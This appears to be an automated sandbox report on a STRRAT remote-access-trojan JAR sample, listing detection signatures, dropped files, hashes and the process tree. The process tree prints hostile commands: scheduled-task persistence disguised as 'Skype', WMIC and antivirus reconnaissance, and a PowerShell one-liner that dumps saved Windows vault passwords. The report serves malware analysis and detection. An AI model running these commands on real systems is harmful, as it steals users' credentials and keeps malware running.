Analysis

  • max time kernel
    149s
  • max time network
    151s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20240426-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20240426-enlocale:en-usos:windows10-2004-x64system
  • submitted
    07/06/2024, 08:14

General

  • Target
    db428540c47e953c334f9374c2b1ad7ac3dec8904edddbaef7da7cceb599a5f5.jar
  • Size 452KB
  • Sample240607-j4zlpsec65
  • SHA256 db428540c47e953c334f9374c2b1ad7ac3dec8904edddbaef7da7cceb599a5f5
  • MD5 SHA1 SHA512 SSDEEP

Malware Config

Signatures

  • STRRAT

    STRRAT is a remote access tool than can steal credentials and log keystrokes.

  • Drops startup file 1 IoCs
  • Loads dropped DLL 2 IoCs
  • Modifies file permissions 1 TTPs 1 IoCs
  • Accesses Microsoft Outlook profiles 1 TTPs 7 IoCs
  • Adds Run key to start application 2 TTPs 2 IoCs
  • Looks up external IP address via web service 1 IoCs

    Uses a legitimate IP lookup service to find the infected system's external IP.

  • Creates scheduled task(s) 1 TTPs 1 IoCs

    Schtasks is often used by malware for persistence or to perform post-infection execution.

  • Suspicious behavior: EnumeratesProcesses 2 IoCs
  • Suspicious use of AdjustPrivilegeToken 64 IoCs
  • Suspicious use of WriteProcessMemory 28 IoCs
  • Uses Task Scheduler COM API 1 TTPs

    The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.

  • outlook_office_path 1 IoCs
  • outlook_win_path 1 IoCs

Processes

  • C:\Program Files (x86)\Common Files\Oracle\Java\javapath\java.exe
    java -jar C:\Users\Admin\AppData\Local\Temp\db428540c47e953c334f9374c2b1ad7ac3dec8904edddbaef7da7cceb599a5f5.jar
    1⤵
    • Suspicious use of WriteProcessMemory
    PID:2964
    • C:\Windows\system32\icacls.exe
      C:\Windows\system32\icacls.exe C:\ProgramData\Oracle\Java\.oracle_jre_usage /grant "everyone":(OI)(CI)M
      2⤵
      • Modifies file permissions
      PID:4992
    • C:\Program Files\Java\jre-1.8\bin\java.exe
      "C:\Program Files\Java\jre-1.8\bin\java.exe" -jar "C:\Users\Admin\db428540c47e953c334f9374c2b1ad7ac3dec8904edddbaef7da7cceb599a5f5.jar"
      2⤵
      • Drops startup file
      • Adds Run key to start application
      • Suspicious use of WriteProcessMemory
      PID:5104
      • C:\Windows\SYSTEM32\cmd.exe
        cmd /c schtasks /create /sc minute /mo 30 /tn Skype /tr "C:\Users\Admin\AppData\Roaming\db428540c47e953c334f9374c2b1ad7ac3dec8904edddbaef7da7cceb599a5f5.jar"
        3⤵
        • Suspicious use of WriteProcessMemory
        PID:2864
        • C:\Windows\system32\schtasks.exe
          schtasks /create /sc minute /mo 30 /tn Skype /tr "C:\Users\Admin\AppData\Roaming\db428540c47e953c334f9374c2b1ad7ac3dec8904edddbaef7da7cceb599a5f5.jar"
          4⤵
          • Creates scheduled task(s)
          PID:4136
      • C:\Program Files\Java\jre-1.8\bin\java.exe
        "C:\Program Files\Java\jre-1.8\bin\java.exe" -jar "C:\Users\Admin\AppData\Roaming\db428540c47e953c334f9374c2b1ad7ac3dec8904edddbaef7da7cceb599a5f5.jar"
        3⤵
        • Loads dropped DLL
        • Accesses Microsoft Outlook profiles
        • Suspicious use of WriteProcessMemory
        • outlook_office_path
        • outlook_win_path
        PID:3664
        • C:\Windows\SYSTEM32\cmd.exe
          cmd.exe /c "wmic /node:. /namespace:'\\root\cimv2' path win32_logicaldisk get volumeserialnumber /format:list"
          4⤵
          • Suspicious use of WriteProcessMemory
          PID:4072
          • C:\Windows\System32\Wbem\WMIC.exe
            wmic /node:. /namespace:'\\root\cimv2' path win32_logicaldisk get volumeserialnumber /format:list
            5⤵
            • Suspicious use of AdjustPrivilegeToken
            PID:1508
        • C:\Windows\SYSTEM32\cmd.exe
          cmd.exe /c "wmic /node:. /namespace:'\\root\cimv2' path win32_operatingsystem get caption,OSArchitecture /format:list"
          4⤵
          • Suspicious use of WriteProcessMemory
          PID:3240
          • C:\Windows\System32\Wbem\WMIC.exe
            wmic /node:. /namespace:'\\root\cimv2' path win32_operatingsystem get caption,OSArchitecture /format:list
            5⤵
            • Suspicious use of AdjustPrivilegeToken
            PID:4972
        • C:\Windows\SYSTEM32\cmd.exe
          cmd.exe /c "wmic /node:. /namespace:'\\root\cimv2' path win32_operatingsystem get version /format:list"
          4⤵
          • Suspicious use of WriteProcessMemory
          PID:3728
          • C:\Windows\System32\Wbem\WMIC.exe
            wmic /node:. /namespace:'\\root\cimv2' path win32_operatingsystem get version /format:list
            5⤵
              PID:1260
          • C:\Windows\SYSTEM32\cmd.exe
            cmd.exe /c "wmic /node:localhost /namespace:'\\root\securitycenter2' path antivirusproduct get displayname /format:list"
            4⤵
            • Suspicious use of WriteProcessMemory
            PID:1708
            • C:\Windows\System32\Wbem\WMIC.exe
              wmic /node:localhost /namespace:'\\root\securitycenter2' path antivirusproduct get displayname /format:list
              5⤵
                PID:4452
            • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
              powershell.exe "[void][Windows.Security.Credentials.PasswordVault,Windows.Security.Credentials,ContentType=WindowsRuntime] $vault = New-Object Windows.Security.Credentials.PasswordVault $vault.RetrieveAll() | % { $_.RetrievePassword();$_ }"
              4⤵
              • Suspicious behavior: EnumeratesProcesses
              PID:532

      Network

            MITRE ATT&CK Enterprise v15

            Replay Monitor

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            Downloads

            3903daac9bc4a3b7.timestamp

            • Path C:\ProgramData\Oracle\Java\.oracle_jre_usage\3903daac9bc4a3b7.timestamp
            • Size 46B
            • SHA256 cb8c41c6d0c294c9a7f0cce04c72c0ce401992626d7f191c51fc3fcda25d8782
            • MD5 SHA1 SHA512

            __PSScriptPolicyTest_130z25wk.nha.ps1

            • Path C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_130z25wk.nha.ps1
            • Size 60B
            • SHA256 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
            • MD5 SHA1 SHA512

            jna2692759396354233600.dll

            • Path C:\Users\Admin\AppData\Local\Temp\jna-63116079\jna2692759396354233600.dll
            • Size 241KB
            • SHA256 a66959bec2ef5af730198db9f3b3f7cab0d4ae70ce01bec02bf1d738e6d1ee7a
            • MD5 SHA1 SHA512 SSDEEP

            sqlite-3.14.2.1-9eaa5e0d-e463-417a-a4f3-0f84f393c619-sqlitejdbc.dll

            • Path C:\Users\Admin\AppData\Local\Temp\sqlite-3.14.2.1-9eaa5e0d-e463-417a-a4f3-0f84f393c619-sqlitejdbc.dll
            • Size 914KB
            • SHA256 05a8557f5d197aca468f5272a2a869293cb11c2f0ab4839a17f144f9a5d0b77d
            • MD5 SHA1 SHA512 SSDEEP

            83aa4cc77f591dfc2374580bbd95f6ba_41e50f4a-4a76-42e1-a3df-51306e426307

            • Path C:\Users\Admin\AppData\Roaming\Microsoft\Crypto\RSA\S-1-5-21-540404634-651139247-2967210625-1000\83aa4cc77f591dfc2374580bbd95f6ba_41e50f4a-4a76-42e1-a3df-51306e426307
            • Size 45B
            • SHA256 11e6aca8e682c046c83b721eeb5c72c5ef03cb5936c60df6f4993511ddc61238
            • MD5 SHA1 SHA512

            db428540c47e953c334f9374c2b1ad7ac3dec8904edddbaef7da7cceb599a5f5.jar

            • Path C:\Users\Admin\db428540c47e953c334f9374c2b1ad7ac3dec8904edddbaef7da7cceb599a5f5.jar
            • Size 452KB
            • SHA256 db428540c47e953c334f9374c2b1ad7ac3dec8904edddbaef7da7cceb599a5f5
            • MD5 SHA1 SHA512 SSDEEP

            jna-5.5.0.jar

            • Path C:\Users\Admin\lib\jna-5.5.0.jar
            • Size 1.4MB
            • SHA256 b308faebfe4ed409de8410e0a632d164b2126b035f6eacff968d3908cafb4d9e
            • MD5 SHA1 SHA512 SSDEEP

            jna-platform-5.5.0.jar

            • Path C:\Users\Admin\lib\jna-platform-5.5.0.jar
            • Size 2.6MB
            • SHA256 24d81621f82ac29fcdd9a74116031f5907a2343158e616f4573bbfa2434ae0d5
            • MD5 SHA1 SHA512 SSDEEP

            sqlite-jdbc-3.14.2.1.jar

            • Path C:\Users\Admin\lib\sqlite-jdbc-3.14.2.1.jar
            • Size 4.1MB
            • SHA256 2eae3dea1c3dde6104c49f9601074b6038ff6abcf3be23f4b56f6720a4f6a491
            • MD5 SHA1 SHA512 SSDEEP

            system-hook-3.5.jar

            • Path C:\Users\Admin\lib\system-hook-3.5.jar
            • Size 772KB
            • SHA256 2ddda8af6faef8bde46acf43ec546603180bcf8dcb2e5591fff8ac9cd30b5609
            • MD5 SHA1 SHA512 SSDEEP

            memory/2964-105-0x0000022398DE0000-0x0000022398DF0000-memory.dmp

            memory/2964-189-0x0000022398F50000-0x0000022398F60000-memory.dmp

            memory/2964-18-0x0000022398CC0000-0x0000022398CD0000-memory.dmp

            memory/2964-31-0x0000022398D30000-0x0000022398D40000-memory.dmp

            memory/2964-33-0x0000022398D40000-0x0000022398D50000-memory.dmp

            memory/2964-36-0x0000022398D60000-0x0000022398D70000-memory.dmp

            memory/2964-37-0x0000022398D70000-0x0000022398D80000-memory.dmp

            memory/2964-32-0x0000022398D50000-0x0000022398D60000-memory.dmp

            memory/2964-41-0x0000022398D80000-0x0000022398D90000-memory.dmp

            memory/2964-43-0x0000022398DA0000-0x0000022398DB0000-memory.dmp

            memory/2964-42-0x0000022398D90000-0x0000022398DA0000-memory.dmp

            memory/2964-52-0x0000022398DB0000-0x0000022398DC0000-memory.dmp

            memory/2964-53-0x0000022398DC0000-0x0000022398DD0000-memory.dmp

            memory/2964-50-0x0000022398A40000-0x0000022398CB0000-memory.dmp

            memory/2964-54-0x0000022397150000-0x0000022397151000-memory.dmp

            memory/2964-56-0x0000022398DD0000-0x0000022398DE0000-memory.dmp

            memory/2964-59-0x0000022398DE0000-0x0000022398DF0000-memory.dmp

            memory/2964-57-0x0000022398CB0000-0x0000022398CC0000-memory.dmp

            memory/2964-60-0x0000022398CC0000-0x0000022398CD0000-memory.dmp

            memory/2964-64-0x0000022398DF0000-0x0000022398E00000-memory.dmp

            memory/2964-63-0x0000022398CF0000-0x0000022398D00000-memory.dmp

            memory/2964-69-0x0000022398E00000-0x0000022398E10000-memory.dmp

            memory/2964-68-0x0000022398D20000-0x0000022398D30000-memory.dmp

            memory/2964-67-0x0000022398D10000-0x0000022398D20000-memory.dmp

            memory/2964-66-0x0000022398D00000-0x0000022398D10000-memory.dmp

            memory/2964-62-0x0000022398CE0000-0x0000022398CF0000-memory.dmp

            memory/2964-61-0x0000022398CD0000-0x0000022398CE0000-memory.dmp

            memory/2964-73-0x0000022398E10000-0x0000022398E20000-memory.dmp

            memory/2964-79-0x0000022398E30000-0x0000022398E40000-memory.dmp

            memory/2964-85-0x0000022398E50000-0x0000022398E60000-memory.dmp

            memory/2964-84-0x0000022398E40000-0x0000022398E50000-memory.dmp

            memory/2964-83-0x0000022398D90000-0x0000022398DA0000-memory.dmp

            memory/2964-82-0x0000022398D70000-0x0000022398D80000-memory.dmp

            memory/2964-81-0x0000022398D60000-0x0000022398D70000-memory.dmp

            memory/2964-78-0x0000022398E20000-0x0000022398E30000-memory.dmp

            memory/2964-77-0x0000022398D40000-0x0000022398D50000-memory.dmp

            memory/2964-72-0x0000022398D50000-0x0000022398D60000-memory.dmp

            memory/2964-71-0x0000022398D30000-0x0000022398D40000-memory.dmp

            memory/2964-88-0x0000022398E60000-0x0000022398E70000-memory.dmp

            memory/2964-87-0x0000022398D80000-0x0000022398D90000-memory.dmp

            memory/2964-93-0x0000022398E70000-0x0000022398E80000-memory.dmp

            memory/2964-92-0x0000022398DA0000-0x0000022398DB0000-memory.dmp

            memory/2964-99-0x0000022398E80000-0x0000022398E90000-memory.dmp

            memory/2964-98-0x0000022398DC0000-0x0000022398DD0000-memory.dmp

            memory/2964-97-0x0000022398DB0000-0x0000022398DC0000-memory.dmp

            memory/2964-100-0x0000022398DD0000-0x0000022398DE0000-memory.dmp

            memory/2964-101-0x0000022398E90000-0x0000022398EA0000-memory.dmp

            memory/2964-26-0x0000022398D10000-0x0000022398D20000-memory.dmp

            memory/2964-106-0x0000022398EA0000-0x0000022398EB0000-memory.dmp

            memory/2964-118-0x0000022398E00000-0x0000022398E10000-memory.dmp

            memory/2964-117-0x0000022398EF0000-0x0000022398F00000-memory.dmp

            memory/2964-126-0x0000022398F20000-0x0000022398F30000-memory.dmp

            memory/2964-25-0x0000022398D00000-0x0000022398D10000-memory.dmp

            memory/2964-125-0x0000022398F10000-0x0000022398F20000-memory.dmp

            memory/2964-111-0x0000022398DF0000-0x0000022398E00000-memory.dmp

            memory/2964-116-0x0000022398EE0000-0x0000022398EF0000-memory.dmp

            memory/2964-115-0x0000022398ED0000-0x0000022398EE0000-memory.dmp

            memory/2964-114-0x0000022398EC0000-0x0000022398ED0000-memory.dmp

            memory/2964-113-0x0000022398EB0000-0x0000022398EC0000-memory.dmp

            memory/2964-123-0x0000022398E10000-0x0000022398E20000-memory.dmp

            memory/2964-129-0x0000022398F30000-0x0000022398F40000-memory.dmp

            memory/2964-128-0x0000022398E30000-0x0000022398E40000-memory.dmp

            memory/2964-132-0x0000022397150000-0x0000022397151000-memory.dmp

            memory/2964-127-0x0000022398E20000-0x0000022398E30000-memory.dmp

            memory/2964-135-0x0000022397150000-0x0000022397151000-memory.dmp

            memory/2964-137-0x0000022398E40000-0x0000022398E50000-memory.dmp

            memory/2964-139-0x0000022398F40000-0x0000022398F50000-memory.dmp

            memory/2964-138-0x0000022398E50000-0x0000022398E60000-memory.dmp

            memory/2964-141-0x0000022398E60000-0x0000022398E70000-memory.dmp

            memory/2964-142-0x0000022398F50000-0x0000022398F60000-memory.dmp

            memory/2964-144-0x0000022398E70000-0x0000022398E80000-memory.dmp

            memory/2964-145-0x0000022398F60000-0x0000022398F70000-memory.dmp

            memory/2964-149-0x0000022398F70000-0x0000022398F80000-memory.dmp

            memory/2964-148-0x0000022398E80000-0x0000022398E90000-memory.dmp

            memory/2964-147-0x0000022397150000-0x0000022397151000-memory.dmp

            memory/2964-151-0x0000022398E90000-0x0000022398EA0000-memory.dmp

            memory/2964-152-0x0000022398F80000-0x0000022398F90000-memory.dmp

            memory/2964-156-0x0000022398F90000-0x0000022398FA0000-memory.dmp

            memory/2964-155-0x0000022398EA0000-0x0000022398EB0000-memory.dmp

            memory/2964-161-0x0000022398EE0000-0x0000022398EF0000-memory.dmp

            memory/2964-160-0x0000022398ED0000-0x0000022398EE0000-memory.dmp

            memory/2964-163-0x0000022398FA0000-0x0000022398FB0000-memory.dmp

            memory/2964-162-0x0000022398EF0000-0x0000022398F00000-memory.dmp

            memory/2964-159-0x0000022398EC0000-0x0000022398ED0000-memory.dmp

            memory/2964-158-0x0000022398EB0000-0x0000022398EC0000-memory.dmp

            memory/2964-165-0x0000022397150000-0x0000022397151000-memory.dmp

            memory/2964-169-0x0000022398FB0000-0x0000022398FC0000-memory.dmp

            memory/2964-171-0x0000022398F00000-0x0000022398F10000-memory.dmp

            memory/2964-172-0x0000022398F10000-0x0000022398F20000-memory.dmp

            memory/2964-173-0x0000022398F20000-0x0000022398F30000-memory.dmp

            memory/2964-174-0x0000022398FC0000-0x0000022398FD0000-memory.dmp

            memory/2964-178-0x0000022398F30000-0x0000022398F40000-memory.dmp

            memory/2964-27-0x0000022398D20000-0x0000022398D30000-memory.dmp

            memory/2964-179-0x0000022398FD0000-0x0000022398FE0000-memory.dmp

            memory/2964-182-0x0000022397150000-0x0000022397151000-memory.dmp

            memory/2964-186-0x0000022398F40000-0x0000022398F50000-memory.dmp

            memory/2964-124-0x0000022398F00000-0x0000022398F10000-memory.dmp

            memory/2964-2-0x0000022398A40000-0x0000022398CB0000-memory.dmp

            memory/2964-20-0x0000022398CE0000-0x0000022398CF0000-memory.dmp

            memory/2964-13-0x0000022398CB0000-0x0000022398CC0000-memory.dmp

            memory/2964-21-0x0000022398CF0000-0x0000022398D00000-memory.dmp

            memory/2964-19-0x0000022398CD0000-0x0000022398CE0000-memory.dmp

            memory/3664-374-0x00000239AEBC0000-0x00000239AEBC1000-memory.dmp

            memory/3664-357-0x00000239AEBC0000-0x00000239AEBC1000-memory.dmp

            memory/3664-405-0x00000239AEBC0000-0x00000239AEBC1000-memory.dmp

            memory/3664-422-0x0000000061680000-0x000000006176D000-memory.dmp

            memory/5104-248-0x000001537F8F0000-0x000001537F8F1000-memory.dmp